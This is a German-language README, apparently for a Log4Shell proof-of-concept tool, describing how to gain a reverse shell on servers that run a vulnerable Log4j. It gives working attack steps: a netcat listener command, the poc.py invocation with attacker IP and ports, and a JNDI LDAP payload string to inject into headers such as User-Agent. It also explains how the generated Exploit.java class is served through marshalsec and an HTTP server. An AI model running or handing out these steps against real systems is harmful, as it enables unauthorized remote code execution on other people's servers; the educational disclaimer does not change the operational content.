Installation

1. Klonen Sie dieses Repository oder laden Sie es herunter.
2. Platzieren Sie den Ordner jdk1.8.0_20 und die marshalsec-JAR wie oben beschrieben.
3. Installieren Sie die Python-Abhängigkeiten:
   root@kitploit:~

   pip install -r requirements.txt
   

Verwendung

Führen Sie das Skript mit Python aus:

Befehlszeilenargumente

Beispiel

1. Starten Sie einen Netcat-Listener auf Ihrem Angreifer-System (ersetzen Sie 9001 durch den von Ihnen gewählten Port):

   root@kitploit:~

   nc -lvnp 9001
   

2. Führen Sie den Exploit aus:

   root@kitploit:~

   python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
   

   Wenn Sie --userip weglassen, verwendet das Skript automatisch die primäre IPv4-Adresse Ihres Systems.

3. Das Skript zeigt eine Payload-Zeichenkette an, die in das verwundbare Ziel injiziert werden kann, zum Beispiel:

   root@kitploit:~

   ${jndi:ldap://192.168.1.10:1389/a}
   

4. Injizieren Sie diese Zeichenkette in ein beliebiges Eingabefeld oder einen HTTP-Header, der von einer verwundbaren Log4j-Instanz protokolliert wird (z. B. User-Agent, X-Forwarded-For usw.). Das Ziel verbindet sich mit dem LDAP-Server, ruft die bösartige Klasse vom HTTP-Server ab und führt die Reverse-Shell aus.

5. Sie sollten eine Shell-Verbindung in Ihrem Netcat-Listener sehen.

So funktioniert es

1. Das Skript generiert Exploit.java, das Code zum Öffnen einer Reverse-Shell zu userip:lport enthält.
2. Es kompiliert die Datei mit dem bereitgestellten JDK (oder dem systemeigenen javac).
3. Es startet einen LDAP-Server (über Marshalsec), der auf JNDI-Lookups mit einem Verweis auf den HTTP-Server antwortet.
4. Es startet einen einfachen HTTP-Server auf webport, um die kompilierte Exploit.class zu hosten.
5. Wenn ein verwundbares Ziel mit dem injizierten Payload einen JNDI-Lookup durchführt, lädt es die Klasse herunter und führt sie aus, wodurch der Angreifer eine Reverse-Shell erhält.

Wichtige Hinweise

• Das Reverse-Shell-Payload verwendet /bin/sh und ist für Unix-ähnliche Zielsysteme gedacht. Für Windows-Ziele müssten Sie den Befehl in Exploit.java anpassen.
• Das gebündelte JDK 1.8.0_20 wird empfohlen, da neuere Versionen das von diesem Exploit verwendete JNDI-Feature zum Laden entfernter Klassen blockieren können.
• Stellen Sie sicher, dass Firewalls eingehende Verbindungen auf den angegebenen Ports (webport und lport) erlauben und dass das Ziel Ihr System erreichen kann.

Bereinigung

Das Skript entfernt Exploit.java und Exploit.class automatisch, wenn es beendet wird (entweder normal oder nach einem KeyboardInterrupt). Wenn Sie die Dateien zum Debuggen behalten müssen, kommentieren Sie den finally-Block in poc.py aus.

Haftungsausschluss

Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests gedacht. Die unbefugte Verwendung dieses Exploits gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal. Die Autoren sind nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.

Danksagungen

• Original-PoC von kozmer
• Marshalsec von mbechler
• Die Log4j-Sicherheitslücke wurde vom Alibaba Cloud Security Team entdeckt.